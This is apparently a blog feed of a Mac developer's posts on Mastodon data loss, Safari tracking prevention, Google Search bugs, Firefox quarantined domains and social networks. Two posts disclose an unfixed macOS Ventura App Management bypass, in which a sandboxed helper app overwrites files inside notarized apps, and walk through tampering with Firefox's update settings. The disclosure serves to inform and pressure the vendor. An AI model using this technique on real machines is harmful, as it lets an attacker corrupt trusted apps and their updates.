This comment was prescient: "Discussions will most likely become impossible to understand as messages are forgotten and relationships severed." I actually discovered my data loss via broken public conversations rather than via broken private conversations. Although I had occasionally noticed some "orphaned" messages of mine in my DMs, I incorrectly assumed that the missing DMs from those private conversations had been been deleted by their senders. It was only after I learned about the 15 day content cache retention period that I realized, to my dismay, that my own Mastodon instance had deleted the DMs.

Below is an example of a broken conversation. On appdot.net there are two orphaned replies, https://appdot.net/@lapcatsoftware/110952859016087274:

And https://appdot.net/@lapcatsoftware/110974882894340598:

Whereas on mastodon.social, you can see the entire conversation:

As the screenshots indicate, appdot.net has deleted data that mastodon.social retains, which is exactly why I decided to migrate from appdot.net to mastodon.social. By the way, threads.net is not a good or even a viable alternative to Mastodon, unfortunately, as I explained in the blog post referenced in the screenshots.

Mastodon's biggest problem is that the majority of Mastodon instance administrators are unqualified, and unsuspecting Mastodon users become the victims of shoddy administration. We're told it doesn't matter which Mastodon instance we join, but that's a lie. My personal anecdotes described in my blog posts are far from the only ordeals inflicted on Mastodon users by administrators: for example, many instances—some with thousands of users—have permanently shut down for various reasons, occasionally just for spite! Despite Mastodon's ambition to be a decentralized network, I can't recommend joining an instance other than the biggest one, mastodon.social.

Some people will say that I can't complain, because Mastodon is a free service. But that's precisely the problem! You get the service you pay for: nothing. If we can't depend on Mastodon or on the Mastodon instance administrators, if data loss is just a natural consequence to be expected of a free service, then why should we use Mastodon at all? That's a question for the founder of Mastodon.

]]>
How did Apple get all of my email addresses? https://lapcatsoftware.com/articles/2023/9/4.html 2023-09-27T23:25:00Z 2023-09-27T23:25:00Z For software testing purposes, I use a Mac mini with four APFS boot volumes, one each for Big Sur, Monterey, Ventura, and Sonoma. These were all "fresh" macOS installs with no upgrades or data migration. For the most part, the Mac mini contains very little of my personal data. I do sign in with my Apple ID, but that's it. I never receive, read, or send email on that Mac. Nonetheless, while looking around in System Settings on Sonoma, I selected the Internet Accounts pane, clicked the Add Account button, and was shocked to see, in the list of Suggestions, five different email addresses of mine, only one of which was associated with my Apple ID. Two of the email addresses were Gmail (separate business and personal), one was a support address for my business domain, and one was an address with a third-party email provider. Four of the email address listed have never been used with any Apple service: not iCloud, not iMessage, not Facetime, not iTunes, not anything. I only ever use those email addresses in Apple's Mail app (on my MacBook Pro and my iPhone). So my question is, how in the world did Apple get all of those email addresses? Clearly the addresses are stored somewhere in Apple's iCloud, because they don't exist on disk on my Mac mini.

Curiously, I started using another third-party email provider a few months ago, but this email address was not in the list. I don't know whether that's because Apple doesn't have the email address or rather because the list of suggestions in the Internet Accounts Settings is limited to five items.

My use of iCloud is extremely limited. For many years I resisted iCloud entirely, but I finally caved in because many customers of my Safari extension StopTheMadness kept requesting iCloud support. In Settings, I allow StopTheMadness and my other app StopTheFonts to use iCloud and iCloud Drive (the latter of which is strangely a requirement for the CloudKit framework), but no other app is allowed, definitely not Mail or Contacts. And I don't use Siri at all. I've literally never used Siri, believe it or not, and disable everything Siri-related on all of my devices. I also disable analytics sharing with Apple.

Thus, I don't know how exactly Apple got a hold of my various email addresses. I'm both puzzled and troubled by this. Apple has advertised its commitment to privacy by claiming, "What happens on your iPhone, stays on your iPhone." Unfortunately, however, that doesn't appear to be true. Something that happened on my iPhone or my MacBook Pro somehow ended up on my Mac mini, and I want to know why. I want to know who or what is responsible for violating my privacy.

If you're looking to reproduce this issue yourself, you may need to do a fresh, clean operating system install on one of your devices. Otherwise, your list of Internet Accounts in Settings will already be populated, and of course you won't be offered suggestions for email accounts that are already in the list. That's probably why this privacy violation hasn't been noticed until now.

]]>
Mysterious disappearing Apple ID 2FA codes https://lapcatsoftware.com/articles/2023/9/3.html 2023-09-18T23:00:00Z 2023-09-18T23:00:00Z After testing the iPadOS 17 beta since WWDC, I decided to start over fresh today and "Erase All Content and Settings" on my iPad. There were a couple of reasons for this. First, since iPad 17 beta 4, the Settings app wanted me to verify my recovery key for some reason, and I couldn't get rid of that warning. (FB12749748 for any Apple engineers in the audience.)

Verify Your Recovery Key (1)

Thankfully, that warning is gone now after the erasure. Second, I was still experiencing a bug left over from the iPad 16 beta in 2022 that prevented me from successfully dragging and dropping any apps into the Dock after having removed all of the apps from the Dock except Safari. (FB11749674) Thankfully, that issue is also gone now after the erasure.

I discovered to my dismay that after erasing all content and settings, I had to connect the iPad to a Mac and let it phone home to Apple in order to "activate", but that's a story for another day. The story here is that I had a lot of trouble signing the iPad into iCloud, because the two-factor authentication codes kept disappearing! When you sign in to an Apple service with your Apple ID on one device, Apple sends authentication codes to all of your devices that are already signed in with your Apple ID. (This may include the very same device, if it's already signed in to another Apple service.) The problem was that the 2FA dialog briefly appeared on the screen of my Mac and then disappeared before I could read it or get the code! This happened repeatedly. I tried with another one of my Macs, and the same problem occurred there too.

I remembered that I had experienced the same problem back in July signing in to iCloud on a Mac running Sonoma beta 4, though there were also crashes involved, i.e., the AppleIDSettings process was crashing. (FB12746765) So of course I searched the web for this problem, and I found a number of references in Apple's discussion forums, for example: https://discussions.apple.com/thread/254543268 (2023), https://discussions.apple.com/thread/253537191 (2022), https://discussions.apple.com/thread/252422074 (2021), https://discussions.apple.com/thread/251633683 (2020), https://discussions.apple.com/thread/250287891 (2019), https://discussions.apple.com/thread/250457936 (2019). Unfortunately, however, there were only questions, no answers or solutions.

Eventually I gave up and had Apple send me a 2FA code to my phone number via SMS, and that worked to sign in my iPad to iCloud. Nonetheless, I still wonder what in the world is going on, and how many other people in the world are experiencing the same problem. I'm blogging now to raise awareness of this, and hopefully get Apple's attention. I haven't had much luck lately getting Apple's attention via Feedback.

]]>
The most wonderful new hidden feature in iOS 17 and macOS 14 https://lapcatsoftware.com/articles/2023/9/2.html 2023-09-13T01:05:00Z 2023-09-13T02:15:00Z Today Apple published lists of new features available with iOS 17 (to be released September 18) and macOS 14 (to be released September 26). One of those features caught my eye. Indeed it made my eyes bulge.

Automatically pause animated images. Pause animated images by default, such as GIFs in Messages and Safari for your visual comfort.

This is astounding news! In my opinion, the feature should have been highlighted in the WWDC keynote. It's that huge. And I'm going to take a little personal credit for it (whether that's justified or not, heh). Over the years, a number of my customers have requested such a feature for my web browser extension StopTheMadness. Unfortunately, however, there's no direct JavaScript access to image decoders or formats for HTML <img> elements, which makes it extremely difficult for me to implement GIF blocking in my extension. That's why I filed a bug with Apple's WebKit project, the open source web browser engine underlying Safari. My bug was titled Animated images ignore user's prefers-reduced-motion and Auto-Play preferences. So there you have it. You're welcome! ;-)

Let's look at where the new feature can be found and how it works. First, in macOS 14 Sonoma. For some reason, Apple buried the feature in the "Accessibility" section of System Settings. If it were me, I would put it in a section called "Annoyances". On the other hand, all of System Settings is annoying, so maybe that's not specific enough. In the Display subsection of the Accessibility section, there's a toggle titled "Auto-play animated images".

You want to disable that setting.

Now let's look at an animated GIF in Safari. Here's an article about the 30th anniversary of the GIF. With the new system setting disabled, the GIF does not animate. Hooray! You can still manually make it animate by selecting the "Play Animation" menu item from the contextual menu.

And then you can stop the animation again by selecting "Pause Animation".

It would be better if you could just click the image to play and pause the animation, but the contextual menu is certainly way better than nothing! More than 30 years of nothing… until now.

The feature works similarly in iOS 17 and iPadOS 17. It's again in the Accessibility section of Settings, although here it's in the Motion subsection rather than the Display & Text Size subsection.

For some reason, on iOS the same Vox page uses an HTML <video> for the first animated "image" rather than an animated GIF, so we'll look at an <img> element further down the page.

Again, there are "Play Animation" and "Pause Animation" items in the contextual menu.

I would say that by itself, this new "Accessibility" feature is reason enough to update to iOS 17 and macOS 14. I'm very excited! It's one of the best new features in ages (and sorely overdue).

Addendum

It turns out that disabling "Auto-Play Animated Images" also fixes a problem I blogged about last year: an HTML <video> element can be used as the src attribute of an <img> element or even as the poster attribute of another <video> in Safari, and that src or poster video will autoplay even if the user has video autoplay disabled!

As I wrote to Apple engineers in my WebKit bug report, "Seriously, if Safari shipped click-to-play animated gifs, you might get more public praise than you've ever heard in your life." Let me be the first to praise you! Thank you very much for shipping this feature. (It's not precisely click-to-play, but close enough.)

By the way, I seem to have found a bug in Sonoma System Settings where the "Auto-play animated images" toggle button appears to be enabled after it has been disabled. This happens when you quit and relaunch the System Settings app. The bug does not occur in the iOS 17 Settings app.

]]>
Another Google Search bug in iOS Safari https://lapcatsoftware.com/articles/2023/9/1.html 2023-09-11T21:15:00Z 2023-09-11T21:15:00Z Last month I asked, How do I report a Google Search bug? In retrospect, it appears that blogging was an effective method of reporting a Google Search bug, because that bug appears to be fixed now! So I'm going to try again this month with a new bug. Once again, this Google Search bug affects Safari on iOS. Let me illustrate the bug with screenshots. I start on the Google Search page.

For convenience, I select a trending search.

Now I tap in the search field, to the right of the search phrase.

But the cursor is not inserted to the left of the search phrase; instead it's inserted to the right! This makes it more difficult to edit.

Notice that the same bug does not occur on macOS. When I click to the right of the search phrase, the cursor is also inserted to the right.

By the way, I've noticed a third Google Search bug, although this one is not on iOS but rather on macOS, affecting Chrome, Firefox, and Safari. The bug is that Google Search doesn't recognize the system dark mode until you reload the page.

]]>
Safari Un-Intelligent Tracking Prevention: Data loss by design https://lapcatsoftware.com/articles/2023/8/5.html 2023-08-30T16:05:00Z 2023-08-30T23:05:00Z I want to use Safari, but sometimes it frustrates the hell out of me, and in some ways it's vastly inferior to Chrome and Firefox. One of my biggest pet peeves is Safari "Intelligent Tracking Prevention" (ITP). This feature is enabled by default and called "Prevent cross-site tracking" in Safari Privacy Settings. Of course I want to prevent cross-site tracking, but the way that Safari implements it leaves a lot to be desired, especially compared to Chrome and Firefox, both of which allow you to set per-website cookies and storage settings. For some strange reason, Safari Website Settings doesn't include cookies and storage (or JavaScript, for that matter).

Apple's WebKit project, the web browser engine underlying Safari, has published documentation of the policies of ITP in Safari. There are two specific policies that I'll highlight here. First:

7-Day Cap on All Script-Writeable Storage

Trackers executing script in the first-party context often make use of first-party storage to save and recall cross-site tracking information. Therefore, ITP deletes all cookies created in JavaScript and all other script-writeable storage after 7 days of no user interaction with the website. The latter storage forms are:

  • IndexedDB
  • LocalStorage
  • Media keys
  • SessionStorage
  • Service Worker registrations and cache

I've written about the 7-day cap before. When I still used Twitter and was logged into Twitter on many of my various Apple devices, Safari ITP automatically deleted Twitter's IndexedDB storage after 7 days, which caused my Twitter timeline to switch from reverse chronological to "the algorithm", which I never wanted.

You can temporarily "Disable Removal of Non-Cookie Data After 7 Days of No User Interaction (ITP)" in the "Experimental Features" submenu of Safari's "Develop" menu, but unfortunately your Experimental Features get reset after Safari software updates, so there's no permanent solution except for disabling ITP entirely.

Today I was hit (yet again) by another ITP policy:

Action Taken Against Classified Domains

All website data is deleted for classified domains which have not received user interaction as first-party or been granted storage access as third party through the Storage Access API (see below) in the last 30 days of browser use. Such website deletion happens at an interval so as to not cause too much disk I/O.

This is what "classified" means to ITP:

Classification as Having Cross-Site Tracking Capabilities

Beyond across-the-board blocking of third-party cookies and downgrades of third-party referrers, ITP collects statistics on resource loads and matches it with known patterns of cross-site tracking. If a registrable domain matches at least one such pattern, it is classified as having cross-site tracking capabilities.

The domain in this case was a Mastodon instance, so I'm not sure why it was "classified" by ITP. I was able to determine that ITP was the culprit in deleting my website data by checking my backups and looking inside Safari's "container" (this may require giving Full Disk Access to Terminal app:

% sqlite3 ~/Library/Containers/com.apple.Safari/Data/Library/WebKit/WebsiteData/ResourceLoadStatistics/observations.db .dump

The file is a SQLite database, which is essentially a table with columns and rows.

CREATE TABLE ObservedDomains (domainID INTEGER PRIMARY KEY, registrableDomain TEXT NOT NULL UNIQUE ON CONFLICT FAIL, lastSeen REAL NOT NULL, hadUserInteraction INTEGER NOT NULL, mostRecentUserInteractionTime REAL NOT NULL, grandfathered INTEGER NOT NULL, isPrevalent INTEGER NOT NULL, isVeryPrevalent INTEGER NOT NULL, dataRecordsRemoved INTEGER NOT NULL,timesAccessedAsFirstPartyDueToUserInteraction INTEGER NOT NULL, timesAccessedAsFirstPartyDueToStorageAccessAPI INTEGER NOT NULL,isScheduledForAllButCookieDataRemoval INTEGER NOT NULL, mostRecentWebPushInteractionTime REAL NOT NULL);

Here's an example row:

INSERT INTO ObservedDomains VALUES(504, 'twitter.com', 1692130495.0, 1, 1692130496.3106480911, 0, 0, 0, 15, 0, 0, 0, 0.0);

You can see that the registrableDomain is twitter.com, lastSeen is 1692130495.0, hadUserInteraction is 1, which means yes, and mostRecentUserInteractionTime is 1692130496.3106480911. The time values are Unix timestamps, which you can translate into dates with the date command (after rounding to the nearest second):

% date -r 1692130495
Tue Aug 15 15:14:55 CDT 2023
% date -r 1692130496
Tue Aug 15 15:14:56 CDT 2023

I'm logged in permanently to a number of different websites that I use only occasionally, which makes ITP's 30-day policy quite problematic for me. When Safari deletes all storage data for a site, you are thereby logged out of the site and need to login again. If Two-Factor Authentication (2FA) is involved, this is egregious, because you have to jump through extra hoops every time you need to login again with 2FA.

Checking the Unix timestamps from yesterday's backup of this Mac, I found that I last interacted with the aforementioned Mastodon instance in Safari on July 31. In other words, 30 days ago! And today the website data for that domain is gone, whereas it still exists in yesterday's backup. I rest my case. Guilty as charged. Throw the book at ITP. I call for the death penalty: kill this policy!

As far as I'm aware, there's not even a temporary Safari experimental feature to disable the 30-day deletion policy. And it's not really a viable solution to disable ITP entirely in Safari Settings, because then you lose all of the benefits of ITP, including third-party cookie blocking.

The intentions here may have been good, to prevent cross-site tracking, but the road to Hell (to Google Chrome?) is paved with good intentions. Safari is a nice web browser in many ways, but if users get frustrated with it, if their websites don't work, or if they keep getting logged out of their websites for no good reason, then they'll just switch to another web browser in which things Just Work™, and then Safari's privacy protections end up futile and useless. I urge, even beg Apple to refine or eliminate the unintelligent, self-defeating policies of Intelligent Tracking Protection, for Safari's own good, and the good of Apple customers.

Addendum

If any Safari/WebKit engineers are reading this, it appears that ITP flagged my Mastodon instance domain as isPrevalent (but not isVeryPrevalent) in the resource load statistics observations database. I have no idea why. Anyway, it looks like that may have been the trigger for ITP to delete the IndexedDB—at 14 days, though, rather than 7 days?—and then the cookies at 30 days.

]]>
Threads.net can go to hell https://lapcatsoftware.com/articles/2023/8/4.html 2023-08-24T20:35:00Z 2023-08-24T20:35:00Z I do most of my computing, including social media, on my MacBook Pro rather than on my iPhone or iPad. I have no interest in mobile-only social networks, and that's why I've been avoiding Threads by Meta (née Facebook). This week, however, Threads introduced a web client, so I decided to sign up today and take a look. Unfortunately, Threads is tied to Instagram and doesn't have independent accounts.

Log in with Instagram

I've never used Instagram and don't have an account, but I decided to bite the bullet and sign up, for the purpose of using Threads. When I signed up, however, my Instagram account was immediately suspended, before I even had the chance to use it.

We suspended your account, Jeff Johnson

According to Instagram, "Your account, or activity on it, doesn't follow our Community Guidelines on account integrity and authentic identity." I don't know how that can possibly be true, because I haven't done anything yet except sign up. And believe it or not, my real name is in fact Jeff Johnson. That's not a pseudonym.

Frustrated, I started the appeal process, which started with entering my email address (again) and entering an emailed confirmation code (again). That's when Instagram hit me with the coup de grâce.

Enter your mobile number

They wanted my phone number. That's probably why they suspended me in the first place, just to get my phone number. I've seen this little trick before on Twitter. They suspend your account for no good reason and hold it hostage in order to extract your phone number, because these advertising-driven social networks exist to collect and sell your data. If you're not the customer, you're the product.

I guess I forgot the advice I wrote back then, two years ago:

I would urge everyone to reconsider your reliance on Twitter, and reinvest in decentralized options such as blogs, RSS, and email. Collectively, we need to protect ourselves from the unchecked, undemocratic, Orwellian power of the big tech companies, before it's too late. If it's not already too late.

I won't be giving Instagram my phone number. Therefore, I won't be using Instagram or Threads. They can go to hell. If you want to follow me on social media, you can find me on the decentralized Mastodon.

In more than one way, the users of Threads lose from my non-participation. Of course I won't be posting on Threads, but perhaps more important, as a prolific developer of Safari extensions, I won't be writing one for Threads. There will be no "Tweaks for Threads". As a Twitter user, I created the much beloved extension Tweaks for Twitter, which vastly improved the twitter.com user interface. Sadly, I decided to retire Tweaks for Twitter after Elon Musk decided to retire Twitter itself in favor of "X", the so-called "everything app". You can call me an EX-Twitter developer and user. Where I go, the extensions go (see Homecoming for Mastodon), and there are no browser extensions in hell.

]]>
macOS App Management vulnerability illustrated https://lapcatsoftware.com/articles/2023/8/3.html 2023-08-20T22:30:00Z 2023-08-20T22:30:00Z Yesterday I disclosed an unfixed security vulnerability in macOS Ventura's App Management protection. The explanation was fairly technical, and you had to use Apple's Xcode developer tool in order to test the vulnerability yourself with my sample app. Today I want to illustrate the vulnerability a little more clearly to a non-developer audience. (For more background reading on App Management, see my blog post How macOS Ventura App Management works and doesn't work from last year.)

App Management, newly introduced in macOS Ventura, protects notarized apps from unauthorized modification. A notarized app has been checked by Apple for malware, and macOS Gatekeeper tells you upon first launching the app that it has been checked by Apple for malware. Once you've installed a notarized app on your Mac, the app should remain free of malware, as long as it's not modified. However, an attacker who can modify one of the apps installed on your Mac could use the capabilities of that app to do nasty things. For the purpose of illustration, I've chosen a popular notarized app that many Mac users might have installed: Firefox.

Specifically, I'm going to try to modify the file /Applications/Firefox.app/Contents/Resources/update-settings.ini inside the Firefox app bundle. Here are the normal contents of the file:

; If you modify this file updates may fail.
; Do not modify this file.

[Settings]
ACCEPTED_MAR_CHANNEL_IDS=firefox-mozilla-release

As you can see, modifying that file would mess with Firefox's software update mechanism, perhaps leaving the user vulnerable to a malicious software update.

First I'm going to try to modify the file from Terminal (/System/Applications/Utilities/Terminal.app). If you're following along with me, make sure that Terminal does not have Full Disk Access, because as I explained in my App Management blog post last year, Full Disk Access automatically grants the ability to bypass App Management.

System Settings, Full Disk Access

Now I open Terminal and attempt to overwrite the contents of the Firefox file with "PWNED!"

As expected, that doesn't work.

zsh: operation not permitted: /Applications/Firefox.app/Contents/Resources/update-settings.ini

In this case, App Management has protected Firefox from unauthorized modification.

Terminal.app was prevented from modifying apps on your Mac.

And we see in System Settings that Terminal does not have App Management permissions.

System Settings, App Management

Now I open the Firefox file in TextEdit.

open -a TextEdit /Applications/Firefox.app/Contents/Resources/update-settings.ini

I edit the file, again attempting to replace the contents with "PWNED!"

TextEdit edited

I save the file in TextEdit, and… it works?

TextEdit saved

I can verify in Terminal that the file contents have indeed been successfully modified.

cat /Applications/Firefox.app/Contents/Resources/update-settings.ini

This time there was no App Management system alert, and the file modification was not prevented. Why?

TextEdit is sandboxed. Ironically, sandboxing was designed to prevent attacks, but in this case it allows an attack. That's the bug, the vulnerability. A sandboxed app can modify a file that is supposed to be protected by App Management.

This has all been just for illustration. It wasn't a real, viable attack, because I had to do everything manually. However, my disclosure yesterday presented an example of an automated tool that could execute a real attack. My tool was actually two apps in one: a "maliciously crafted" non-sandboxed app that has access to any files that need attacking and a "maliciously crafted" sandboxed app embedded inside the non-sandboxed app. The non-sandboxed app tells the sandboxed app to open the file, just as I told Terminal, a non-sandboxed app, to open Firefox's file in TextEdit, a sandboxed app. My maliciously crafted sandboxed app modifies the file and saves it, just as I manually modified the Firefox file and saved it in TextEdit. The only difference between the two scenarios is that a real attack happens automatically, while my illustration all happened manually.

I know that this can be confusing, because there are three different apps involved. Don't forget that the ultimate goal of the attack is to modify a notarized app already installed on your Mac, such as Firefox. The other two apps, the combination of the non-sandboxed app and the sandboxed app (such as Terminal and TextEdit) are the tools that are used by the attacker to make an unauthorized modification to the notarized app. My vulnerability report to Apple showed that if you download and run a maliciously crafted app from the internet, then it is capable of bypassing Ventura App Management and modifying the other notarized apps on your Mac.

]]>
macOS 0day: App Management https://lapcatsoftware.com/articles/2023/8/2.html 2023-08-19T14:55:00Z 2023-08-19T15:00:00Z App Management is a new macOS security feature in Ventura introduced at WWDC last year:

If an app is modified by something that isn't signed by the same development team and isn't allowed by an NSUpdateSecurityPolicy, macOS will block the modification and notify the user that an app wants to manage other apps. Clicking on the notification sends people to System Settings, where they can allow an app to update and modify other apps.

There's a System Settings pane for App Management in the Privacy & Security section:

System Settings, Privacy & Security, App Management

Back in October I wrote about How macOS Ventura App Management works and doesn't work, but I kept one part a secret:

in the process of writing this blog post, I found a new App Management bypass that doesn't require full disk access. I won't discuss the details of that here (I sent them to Apple Product Security a few days ago)

Specifically, I reported the bypass on October 19, 2022, Apple Product Security acknowledged receiving my report on October 21, and Apple released macOS Ventura to the public on October 24. Today I will discuss the details of the bypass, not because it's been fixed in macOS—in fact it hasn't been fixed yet—but rather because I've lost all confidence in Apple to address the issue in a timely manner. In other words, I'm dropping a 0day. We're at ten months and counting, with no end in sight, and I feel that's absurd. It should be noted that by disclosing the issue publicly, I'm sacrificing the opportunity to receive an Apple Security Bounty. On the other hand, Apple has made no promise to pay anything, and by policy they refuse to pay or even calculate a bounty until after an issue is fixed in a public software update, so I could be waiting forever for nothing. Up until now, Apple has been "buying" my silence for $0 and only the vague possibility of some future payment.

(Edit: On reflection, perhaps I'm not using the term "0day" correctly. But I've already published this blog post, and as I say at the end, I'm not professional security researcher, so I plead ignorance.)

Strangely, I was credited, along with a few others, in the security release notes for macOS Ventura 13.4:

Sandbox

Available for: macOS Ventura

Impact: An app may be able to retain access to system configuration files even after its permission is revoked

Description: An authorization issue was addressed with improved state management.

CVE-2023-32357: Yiğit Can YILMAZ (@yilmazcanyigit), Koh M. Nakagawa of FFRI Security, Inc., Kirin (@Pwnrin), Jeff Johnson (underpassapp.com), and Csaba Fitzl (@theevilbit) of Offensive Security

Nonetheless, CVE-2023-32357 is not the issue that I reported to Apple, which remains unfixed in macOS Ventura 13.5.1, the latest version as of today. Apple did tell me that my report was helpful in fixing CVE-2023-32357, but they declined to pay me a bounty for it, because I was not the first person to report the issue. I don't actually know the details of that issue, and Apple refused to share the details with me, despite the fact that it's already been fixed.

In retrospect, I regret participating in the Apple Security Bounty program. It has been a giant, frustrating waste of time, and I wish I had just dropped this 0day on October 24 of last year when Ventura was released. I suspect that if I had done so, Apple would have found a way to address the issue already in Ventura. Thus, I feel that my prolonged silence has not protected Mac users. The standard practice in reporting a security vulnerability is to give the vendor 90 days to address the issue, and I've given Apple vastly more time than expected.

With the introductory material out of the way, let's look at the details of the bypass. In my earlier blog post, I said there are at least six different ways for an app to acquire app management permissions:

  1. Same Developer ID code signing certificate as the modified app
  2. NSUpdateSecurityPolicy in the modified app's Info.plist file
  3. App Management permission in System Settings
  4. Full Disk Access in System Settings
  5. com.apple.macl extended attribute
  6. [redacted]

I'm finally un-redacting the 6th way, and ironically, it's the app sandbox. I discovered—almost by accident—that a sandboxed app could modify files that it shouldn't be able to modify: files inside the bundle of a notarized app that were supposedly protected by App Management security.

Of course a sandboxed app has somewhat limited access to the file system, although it's notable that the /Applications folder is included within the sandbox. Regardless, the initial extent of the sandbox is not really an issue for an attacker, because a non-sandboxed app can open files in a sandboxed app, thereby extending the latter's sandbox.

To demonstrate the bypass, I've created a sample Xcode project that you can download. The project contains the source code for two apps, a non-sandboxed app and a sandboxed app, the latter of which is embedded within the former. The non-sandboxed app asks you for the path of a file to modify, and the Modify File button opens the file in the sandboxed helper app. The sandboxed helper is a document-based app that overwrites the file's contents (in this case, replacing them with the current date as a string) and saves the file. On macOS 13.5.1, the sample app completely bypasses App Management. I typically test with my open source notarized app Bonjeff. Any file within the Bonjeff bundle can be modified in this way, including the main executable Bonjeff.app/Contents/MacOS/Bonjeff, though I typically test with the license file Bonjeff.app/Contents/Resources/LICENSE.txt to leave the app launchable. The straightforwardness and ease of the bypass is truly stunning.

This isn't the first time that a major macOS update included a new security (theater) feature with a gaping hole. For example, I previously discovered a bypass for Mojave's new privacy protections. And it's important to keep in mind that I'm not a professional security researcher. I'm just a longtime Mac developer, so I happen to know a lot about how the Mac works. Perhaps Apple could use more people like me? I don't mean me specifically, since I'm probably too irascible and obstreperous for a corporate gig, as you can tell by this very blog post.

Addendum August 20 2023

I've written a follow-up post macOS App Management vulnerability illustrated that attempts to explain the vulnerability in a way that's less technical and friendlier to non-developers.

]]>
How do I report a Google Search bug? https://lapcatsoftware.com/articles/2023/8/1.html 2023-08-14T15:25:00Z 2023-08-14T15:25:00Z I found a Google Search bug in Safari on iOS. Or rather, a StopTheMadness customer found the bug and reported it to me. I investigated and determined, to my relief, that the bug wasn't mine, because I could (eventually) reproduce it with StopTheMadness disabled. The question is, how do I report this bug to Google? They have a public issue tracker, but I don't see a component for Google Search. With no better alternative coming to mind, I decided to blog it! After all, Google does index my blog, so technically speaking, a Google bot has likely already seen my bug report and filed it away in Google's systems. Hopefully a Google human, or "Googler", will also read this blog post and take some kind of humanoid action.

As far as I can tell, the bug is specifically with Google Images Search. In short, the bug is that the Search button in the iOS software keyboard is nonfunctional. On the other hand, the Go button is still functional. The HTML enterkeyhint attribute determines whether the keyboard has a Search button (enterkeyhint="search") or a Go button (enterkeyhint="go"). It seems to be somewhat random whether I get a Search button or a Go button in Google Images Search. I'll show a series of screenshots below to illustrate the bug. I start with a blank Google Images Search.

I tap inside the search field. Note that I get a Search button in the keyboard.

I enter a search phrase, for example, "example". (Yes, I am very imaginative!)

Finally I press the Search button.

But it doesn't search for "example"! Instead it just clears the search field. How rude.

Now let's see what happens with the Go button. Again I start with a blank Google Images Search.

I enter the search phrase "example".

And I press the Go button.

This time it works! So I can go, but I can't search.

That's my bug report. It's not quite as "technical" as some of my other blog posts, but at least there are a lot of pretty pictures. I now eagerly await a fix from Google.

Googlers, assemble!

]]>
Follow-up to Firefox 115 can silently remotely disable my extension on any site https://lapcatsoftware.com/articles/2023/7/3.html 2023-07-11T15:15:00Z 2023-07-11T15:15:00Z Last week I wrote Firefox 115 can silently remotely disable my extension on any site. This blog post is a follow-up with more information. First, Mozilla has published a support article about the new quarantined domains feature. Here's an excerpt:

Firefox version 115 introduced Quarantined Domains to protect our users' privacy and security when we discover significant security issues presented by malicious actors. This feature allows us to prevent attacks by malicious actors targeting specific domains when we have reason to believe there may be malicious add-ons we have not yet discovered. Users can also control this behavior for each add-on in the Add-on Manager (about:addons) starting with Firefox version 116. We will be further improving the UI for users in future releases.

Second, and more importantly, Mozilla has already published a remote update to extensions.quarantinedDomains.list, which you can now see in Firefox on the about:config page (unless you've toggled extensions.quarantinedDomains.enabled or blocked network connections to firefox.settings.services.mozilla.com). Below is the list of quarantined domains. (I've added space characters after the commas for readability.)

autoatendimento.bb.com.br, ibpf.sicredi.com.br, ibpj.sicredi.com.br, internetbanking.caixa.gov.br, www.ib12.bradesco.com.br, www2.bancobrasil.com.br

Curiously, these are all Brazilian sites, with the .br top-level domain, and they appear to be mostly banks; the sites might all be banks, but some refuse to load to me, so I can't tell. Also curiously, they're exactly the same sites listed in a mysterious Mozilla Extensions git commit from back in May.

const DOMAINS = [
  "autoatendimento.bb.com.br",
  "ibpf.sicredi.com.br",
  "ibpj.sicredi.com.br",
  "internetbanking.caixa.gov.br",
  "www.ib12.bradesco.com.br",
  "www2.bancobrasil.com.br",
];
const RESTRICTED_DOMAINS_PREF = "extensions.webextensions.restrictedDomains";

Note that extensions.webextensions.restrictedDomains and extensions.quarantinedDomains.list are two separate settings in Firefox.

I found a Reddit discussion about this from a month ago:

It seems that Mozilla has pushed a system extension (thus hidden from about:addons, but can be found in about:support) into many Firefox installations called "Add-ons Restricted Domains".

Note that this isn't an experiment, so disabling Normandy will not prevent its installation.

From what I can tell, this system extension allows Mozilla to remotely change the extensions.webextensions.restrictedDomains preference in people's Firefox browser.

I searched through Bugzilla to try to find a quality explanation to the issues that led to this change, but searching Bugzilla for terms like "Add-ons Restricted Domains" and "restictedDomains" yielded no results.

I did eventually find this unclear page:
https://support.mozilla.org/kb/addons-restricted-domains

Which reveals that my understanding is likely at least mostly correct. But that page is incredibly vague and does not explain why extensions suddenly need to be completely disabled on some internet websites.

The problem appears to be with some sites, and not with some extensions, as my understanding is that Mozilla already has a way to disable bad extensions.

Overall, I think this functionality is likely a good thing (with good intent, as well), and thus I don't recommend taking steps to remove this system extension. What's missing is better communication as to what's happening and why.

What's going on that led to this sudden change?

Here's an excerpt from the support article mentioned in the Reddit post:

Certain Firefox users may come across a desktop notification indicating that their add-ons have been disabled for particular websites. In Firefox versions 113, 114 and ESR, we have introduced a system add-on developed by Mozilla that disables extensions on specific websites for various reasons, including security concerns.

Our team is working continuously to develop this functionality and to provide users the ability to manage these restrictions for each individual add-on in the future.

Thus, it appears that Mozilla introduced a built-in add-on to disable the Brazilian web sites in Firefox version 113, then they moved the same functionality from the add-on into the main app in Firefox version 115.

We still have no information from Mozilla about why most Firefox add-ons, except for a select few add-ons "monitored by Mozilla", have been disabled on those six Brazilian web sites.

]]>
Reflections on my 7th Twitter anniversary https://lapcatsoftware.com/articles/2023/7/2.html 2023-07-08T17:10:00Z 2023-07-09T19:00:00Z Content warning: This blog post is navel-gazing. It's fine if you're not interested in that, but then please just stop reading now and close the browser tab instead of becoming annoyed that I'm wasting your time. Thank you!

For several reasons, one of which is the introduction of Threads (an Instagram app), I've been thinking a lot lately about the nature of social media. I'm not personally on Threads or Instagram; most of my social media use these days is on Mastodon, though I also have a Bluesky account (don't ask me for invitations). I still occasionally check my Twitter account, mainly because I'm the developer of the web browser extension Tweaks for Twitter, which I created in 2021 before the hostile takeover of Twitter. At this point I'm vacillating over the fate of Tweaks: a week ago I removed it from the App Store, and I don't know whether to bring it back to the App Store now, discontinue it forever, or continue waiting to see how things shake down. Anyway, I was inspired to put pen to paper—err, fingers to keyboard—after I noticed this in my Twitter notifications.

It's your Twitter anniversary! Celebrate with a special Tweet created just for you

You joined 7 years ago today! Share the big day with others in your Twitter community.

Having mostly forsaken Twitter, I can't say it's a happy anniversary. Moreover, 7 years doesn't tell the full story, as this isn't actually my first Twitter marriage. I joined back in 2008 for the C4 conference, making next month the 15th anniversary. I divorced Twitter the first time in 2012 and deleted my account because they dropped support for RSS feeds, and I joined app.net. Sadly, app.net was ultimately discontinued, but to this day I consider it to be the best Twitter alternative ever made, from a user perspective. In July 2016 I was thinking about quitting my job, so I felt I needed to rejoin Twitter for professional networking purposes, and I did indeed quit my job in August 2016.

